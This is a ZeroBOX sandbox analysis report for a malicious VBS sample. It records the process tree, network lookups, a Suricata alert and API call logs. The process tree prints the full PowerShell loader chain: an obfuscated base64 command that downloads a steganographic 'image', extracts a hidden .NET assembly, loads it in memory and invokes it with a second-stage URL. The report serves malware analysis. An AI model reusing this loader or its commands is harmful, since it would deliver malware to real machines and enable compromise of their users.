popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

mohammmeddddFile.vbs

Generic Malware Antivirus Hide_URL PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 Sept. 21, 2023, 9:40 a.m. Sept. 21, 2023, 9:42 a.m.
Size 299.7KB
Type Little-endian UTF-16 Unicode text, with very long lines, with CRLF, CR line terminators
MD5 ac706ae911a9abbe20f39aede390f201
SHA256 919e0b230e6c07871b2c176aa29286c86d4e2b1dc54e459365020c917c9c0763
CRC32 4BE146DA
ssdeep 3072:Ux2q2rdx36c323q323O3230323d323L323H323V323K323q323y32343233323y7:UUdxcEElYnLD996kbPF5BPD1bXirvxt
Yara None matched

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\mohammmeddddFile.vbs

    2624

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶VQBy◀▶Gw◀▶I◀▶◀▶9◀▶C◀▶◀▶JwBo◀▶HQ◀▶d◀▶Bw◀▶HM◀▶Og◀▶v◀▶C8◀▶dQBw◀▶Gw◀▶bwBh◀▶GQ◀▶Z◀▶Bl◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBu◀▶HM◀▶LgBj◀▶G8◀▶bQ◀▶u◀▶GI◀▶cg◀▶v◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBz◀▶C8◀▶M◀▶◀▶w◀▶DQ◀▶Lw◀▶1◀▶Dk◀▶Nw◀▶v◀▶DI◀▶Mw◀▶2◀▶C8◀▶bwBy◀▶Gk◀▶ZwBp◀▶G4◀▶YQBs◀▶C8◀▶cgB1◀▶G0◀▶c◀▶Bf◀▶H◀▶◀▶cgBp◀▶HY◀▶YQBk◀▶GE◀▶LgBq◀▶H◀▶◀▶Zw◀▶/◀▶DE◀▶Ng◀▶5◀▶DM◀▶O◀▶◀▶0◀▶Dc◀▶M◀▶◀▶3◀▶D◀▶◀▶Jw◀▶7◀▶CQ◀▶dwBl◀▶GI◀▶QwBs◀▶Gk◀▶ZQBu◀▶HQ◀▶I◀▶◀▶9◀▶C◀▶◀▶TgBl◀▶Hc◀▶LQBP◀▶GI◀▶agBl◀▶GM◀▶d◀▶◀▶g◀▶FM◀▶eQBz◀▶HQ◀▶ZQBt◀▶C4◀▶TgBl◀▶HQ◀▶LgBX◀▶GU◀▶YgBD◀▶Gw◀▶aQBl◀▶G4◀▶d◀▶◀▶7◀▶CQ◀▶aQBt◀▶GE◀▶ZwBl◀▶EI◀▶eQB0◀▶GU◀▶cw◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Hc◀▶ZQBi◀▶EM◀▶b◀▶Bp◀▶GU◀▶bgB0◀▶C4◀▶R◀▶Bv◀▶Hc◀▶bgBs◀▶G8◀▶YQBk◀▶EQ◀▶YQB0◀▶GE◀▶K◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBV◀▶HI◀▶b◀▶◀▶p◀▶Ds◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶V◀▶Bl◀▶Hg◀▶d◀▶◀▶g◀▶D0◀▶I◀▶Bb◀▶FM◀▶eQBz◀▶HQ◀▶ZQBt◀▶C4◀▶V◀▶Bl◀▶Hg◀▶d◀▶◀▶u◀▶EU◀▶bgBj◀▶G8◀▶Z◀▶Bp◀▶G4◀▶ZwBd◀▶Do◀▶OgBV◀▶FQ◀▶Rg◀▶4◀▶C4◀▶RwBl◀▶HQ◀▶UwB0◀▶HI◀▶aQBu◀▶Gc◀▶K◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶KQ◀▶7◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶EY◀▶b◀▶Bh◀▶Gc◀▶I◀▶◀▶9◀▶C◀▶◀▶Jw◀▶8◀▶Dw◀▶QgBB◀▶FM◀▶RQ◀▶2◀▶DQ◀▶XwBT◀▶FQ◀▶QQBS◀▶FQ◀▶Pg◀▶+◀▶Cc◀▶Ow◀▶k◀▶GU◀▶bgBk◀▶EY◀▶b◀▶Bh◀▶Gc◀▶I◀▶◀▶9◀▶C◀▶◀▶Jw◀▶8◀▶Dw◀▶QgBB◀▶FM◀▶RQ◀▶2◀▶DQ◀▶XwBF◀▶E4◀▶R◀▶◀▶+◀▶D4◀▶Jw◀▶7◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBU◀▶GU◀▶e◀▶B0◀▶C4◀▶SQBu◀▶GQ◀▶ZQB4◀▶E8◀▶Zg◀▶o◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶EY◀▶b◀▶Bh◀▶Gc◀▶KQ◀▶7◀▶CQ◀▶ZQBu◀▶GQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶aQBt◀▶GE◀▶ZwBl◀▶FQ◀▶ZQB4◀▶HQ◀▶LgBJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶TwBm◀▶Cg◀▶J◀▶Bl◀▶G4◀▶Z◀▶BG◀▶Gw◀▶YQBn◀▶Ck◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶t◀▶Gc◀▶ZQ◀▶g◀▶D◀▶◀▶I◀▶◀▶t◀▶GE◀▶bgBk◀▶C◀▶◀▶J◀▶Bl◀▶G4◀▶Z◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶t◀▶Gc◀▶d◀▶◀▶g◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶7◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶g◀▶Cs◀▶PQ◀▶g◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶EY◀▶b◀▶Bh◀▶Gc◀▶LgBM◀▶GU◀▶bgBn◀▶HQ◀▶a◀▶◀▶7◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶T◀▶Bl◀▶G4◀▶ZwB0◀▶Gg◀▶I◀▶◀▶9◀▶C◀▶◀▶J◀▶Bl◀▶G4◀▶Z◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶t◀▶C◀▶◀▶J◀▶Bz◀▶HQ◀▶YQBy◀▶HQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶Ds◀▶J◀▶Bi◀▶GE◀▶cwBl◀▶DY◀▶N◀▶BD◀▶G8◀▶bQBt◀▶GE◀▶bgBk◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶aQBt◀▶GE◀▶ZwBl◀▶FQ◀▶ZQB4◀▶HQ◀▶LgBT◀▶HU◀▶YgBz◀▶HQ◀▶cgBp◀▶G4◀▶Zw◀▶o◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶s◀▶C◀▶◀▶J◀▶Bi◀▶GE◀▶cwBl◀▶DY◀▶N◀▶BM◀▶GU◀▶bgBn◀▶HQ◀▶a◀▶◀▶p◀▶Ds◀▶J◀▶Bj◀▶G8◀▶bQBt◀▶GE◀▶bgBk◀▶EI◀▶eQB0◀▶GU◀▶cw◀▶g◀▶D0◀▶I◀▶Bb◀▶FM◀▶eQBz◀▶HQ◀▶ZQBt◀▶C4◀▶QwBv◀▶G4◀▶dgBl◀▶HI◀▶d◀▶Bd◀▶Do◀▶OgBG◀▶HI◀▶bwBt◀▶EI◀▶YQBz◀▶GU◀▶Ng◀▶0◀▶FM◀▶d◀▶By◀▶Gk◀▶bgBn◀▶Cg◀▶J◀▶Bi◀▶GE◀▶cwBl◀▶DY◀▶N◀▶BD◀▶G8◀▶bQBt◀▶GE◀▶bgBk◀▶Ck◀▶Ow◀▶k◀▶Gw◀▶bwBh◀▶GQ◀▶ZQBk◀▶EE◀▶cwBz◀▶GU◀▶bQBi◀▶Gw◀▶eQ◀▶g◀▶D0◀▶I◀▶Bb◀▶FM◀▶eQBz◀▶HQ◀▶ZQBt◀▶C4◀▶UgBl◀▶GY◀▶b◀▶Bl◀▶GM◀▶d◀▶Bp◀▶G8◀▶bg◀▶u◀▶EE◀▶cwBz◀▶GU◀▶bQBi◀▶Gw◀▶eQBd◀▶Do◀▶OgBM◀▶G8◀▶YQBk◀▶Cg◀▶J◀▶Bj◀▶G8◀▶bQBt◀▶GE◀▶bgBk◀▶EI◀▶eQB0◀▶GU◀▶cw◀▶p◀▶Ds◀▶J◀▶B0◀▶Hk◀▶c◀▶Bl◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶b◀▶Bv◀▶GE◀▶Z◀▶Bl◀▶GQ◀▶QQBz◀▶HM◀▶ZQBt◀▶GI◀▶b◀▶B5◀▶C4◀▶RwBl◀▶HQ◀▶V◀▶B5◀▶H◀▶◀▶ZQ◀▶o◀▶Cc◀▶RgBp◀▶GI◀▶ZQBy◀▶C4◀▶S◀▶Bv◀▶G0◀▶ZQ◀▶n◀▶Ck◀▶Ow◀▶k◀▶G0◀▶ZQB0◀▶Gg◀▶bwBk◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶d◀▶B5◀▶H◀▶◀▶ZQ◀▶u◀▶Ec◀▶ZQB0◀▶E0◀▶ZQB0◀▶Gg◀▶bwBk◀▶Cg◀▶JwBW◀▶EE◀▶SQ◀▶n◀▶Ck◀▶Ow◀▶k◀▶GE◀▶cgBn◀▶HU◀▶bQBl◀▶G4◀▶d◀▶Bz◀▶C◀▶◀▶PQ◀▶g◀▶Cw◀▶K◀▶◀▶n◀▶HQ◀▶e◀▶B0◀▶C4◀▶N◀▶◀▶2◀▶GU◀▶cwBh◀▶GI◀▶ZQBs◀▶Gk◀▶ZgBk◀▶GU◀▶bQBt◀▶GE◀▶a◀▶Bv◀▶G0◀▶Lw◀▶z◀▶DY◀▶Lg◀▶z◀▶DM◀▶Lg◀▶y◀▶DQ◀▶Lg◀▶z◀▶Dk◀▶MQ◀▶v◀▶C8◀▶OgBw◀▶HQ◀▶d◀▶Bo◀▶Cc◀▶KQ◀▶7◀▶CQ◀▶bQBl◀▶HQ◀▶a◀▶Bv◀▶GQ◀▶LgBJ◀▶G4◀▶dgBv◀▶Gs◀▶ZQ◀▶o◀▶CQ◀▶bgB1◀▶Gw◀▶b◀▶◀▶s◀▶C◀▶◀▶J◀▶Bh◀▶HI◀▶ZwB1◀▶G0◀▶ZQBu◀▶HQ◀▶cw◀▶p◀▶◀▶=='";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('◀▶','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""

      2720

      • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/597/236/original/rump_privada.jpg?1693847070';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.46esabelifdemmahom/36.33.24.391//:ptth');$method.Invoke($null, $arguments)"

        2892

Name Response Post-Analysis Lookup
apps.identrust.com
A 121.254.136.9
CNAME a1952.dscq.akamai.net
CNAME identrust.edgesuite.net
A 121.254.136.18
23.67.53.17
uploaddeimagens.com.br
A 104.21.45.138
A 172.67.215.45
104.21.45.138
IP Address Status Action
104.21.45.138 Active Moloch
121.254.136.9 Active Moloch
164.124.101.2 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.101:49165 -> 104.21.45.138:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.101:49165
104.21.45.138:443 		C=US, O=Let's Encrypt, CN=E1 CN=uploaddeimagens.com.br 67:68:c4:e4:aa:54:e1:fd:f0:50:01:73:1e:da:cf:48:0c:17:0d:34

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: Exception calling "DownloadData" with "1" argument(s): "The underlying connecti
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: on was closed: Could not establish trust relationship for the SSL/TLS secure ch
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: annel."
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: At line:1 char:184
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://uploaddeimagens.com.br/images/004/597/236/original/rump_
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: privada.jpg?1693847070';$webClient = New-Object System.Net.WebClient;$imageByte
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: s = $webClient.DownloadData <<<< ($imageUrl);$imageText = [System.Text.Encoding
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: ]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BA
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: SE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: .IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command =
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Conver
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: t]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assem
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: bly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: = $type.GetMethod('VAI');$arguments = ,('txt.46esabelifdemmahom/36.33.24.391//
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: :ptth');$method.Invoke($null, $arguments)
console_handle: 0x000000d7
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000000e3
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x000000ef
1 1 0

WriteConsoleW

 buffer: Exception calling "GetString" with "1" argument(s): "Array cannot be null.
console_handle: 0x0000010f
1 1 0

WriteConsoleW

 buffer: Parameter name: bytes"
console_handle: 0x0000011b
1 1 0

WriteConsoleW

 buffer: At line:1 char:247
console_handle: 0x00000127
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://uploaddeimagens.com.br/images/004/597/236/original/rump_
console_handle: 0x00000133
1 1 0

WriteConsoleW

 buffer: privada.jpg?1693847070';$webClient = New-Object System.Net.WebClient;$imageByte
console_handle: 0x0000013f
1 1 0

WriteConsoleW

 buffer: s = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF
console_handle: 0x0000014b
1 1 0

WriteConsoleW

 buffer: 8.GetString <<<< ($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BA
console_handle: 0x00000157
1 1 0

WriteConsoleW

 buffer: SE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText
console_handle: 0x00000163
1 1 0

WriteConsoleW

 buffer: .IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex
console_handle: 0x0000016f
1 1 0

WriteConsoleW

 buffer: += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command =
console_handle: 0x0000017b
1 1 0

WriteConsoleW

 buffer: $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Conver
console_handle: 0x00000187
1 1 0

WriteConsoleW

 buffer: t]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assem
console_handle: 0x00000193
1 1 0

WriteConsoleW

 buffer: bly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method
console_handle: 0x0000019f
1 1 0

WriteConsoleW

 buffer: = $type.GetMethod('VAI');$arguments = ,('txt.46esabelifdemmahom/36.33.24.391//
console_handle: 0x000001ab
1 1 0

WriteConsoleW

 buffer: :ptth');$method.Invoke($null, $arguments)
console_handle: 0x000001b7
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000001c3
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x000001cf
1 1 0

WriteConsoleW

 buffer: You cannot call a method on a null-valued expression.
console_handle: 0x000001ef
1 1 0

WriteConsoleW

 buffer: At line:1 char:353
console_handle: 0x000001fb
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://uploaddeimagens.com.br/images/004/597/236/original/rump_
console_handle: 0x00000207
1 1 0

WriteConsoleW

 buffer: privada.jpg?1693847070';$webClient = New-Object System.Net.WebClient;$imageByte
console_handle: 0x00000213
1 1 0

WriteConsoleW

 buffer: s = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF
console_handle: 0x0000021f
1 1 0

WriteConsoleW

 buffer: 8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_E
console_handle: 0x0000022b
1 1 0

WriteConsoleW

 buffer: ND>>';$startIndex = $imageText.IndexOf <<<< ($startFlag);$endIndex = $imageText
console_handle: 0x00000237
1 1 0

WriteConsoleW

 buffer: .IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex
console_handle: 0x00000243
1 1 0

WriteConsoleW

 buffer: += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command =
console_handle: 0x0000024f
1 1 0

WriteConsoleW

 buffer: $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Conver
console_handle: 0x0000025b
1 1 0

WriteConsoleW

 buffer: t]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assem
console_handle: 0x00000267
1 1 0

WriteConsoleW

 buffer: bly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method
console_handle: 0x00000273
1 1 0

WriteConsoleW

 buffer: = $type.GetMethod('VAI');$arguments = ,('txt.46esabelifdemmahom/36.33.24.391//
console_handle: 0x0000027f
1 1 0

WriteConsoleW

 buffer: :ptth');$method.Invoke($null, $arguments)
console_handle: 0x0000028b
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : InvalidOperation: (IndexOf:String) [], RuntimeEx
console_handle: 0x00000297
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0043c410
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0043c990
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0043c990
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0043c990
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0043cb90
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0043cb90
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0043cb90
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0043cb90
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0043cb90
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0043cb90
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0043c3d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0043c3d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0043c3d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0043c990
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0043c990
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0043c990
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0043bfd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0043c990
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0043c990
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0043c990
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0043c990
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0043c990
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0043c990
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0043c990
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0043cd10
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0043cd10
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0043cd10
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0043cd10
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0043cd10
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0043cd10
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0043cd10
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0043cd10
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0043cd10
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0043cd10
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0043cd10
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0043cd10
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0043cd10
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0043cd10
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0043cc50
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0043cc50
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006cc8d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006ccfd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006ccfd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006ccfd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006cd298
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006cd298
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006cd298
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006cd298
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006cd298
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006cd298
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
request GET http://apps.identrust.com/roots/dstrootcax3.p7c
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 1966080
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029f0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b90000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2720
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72891000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0262a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2720
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72892000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
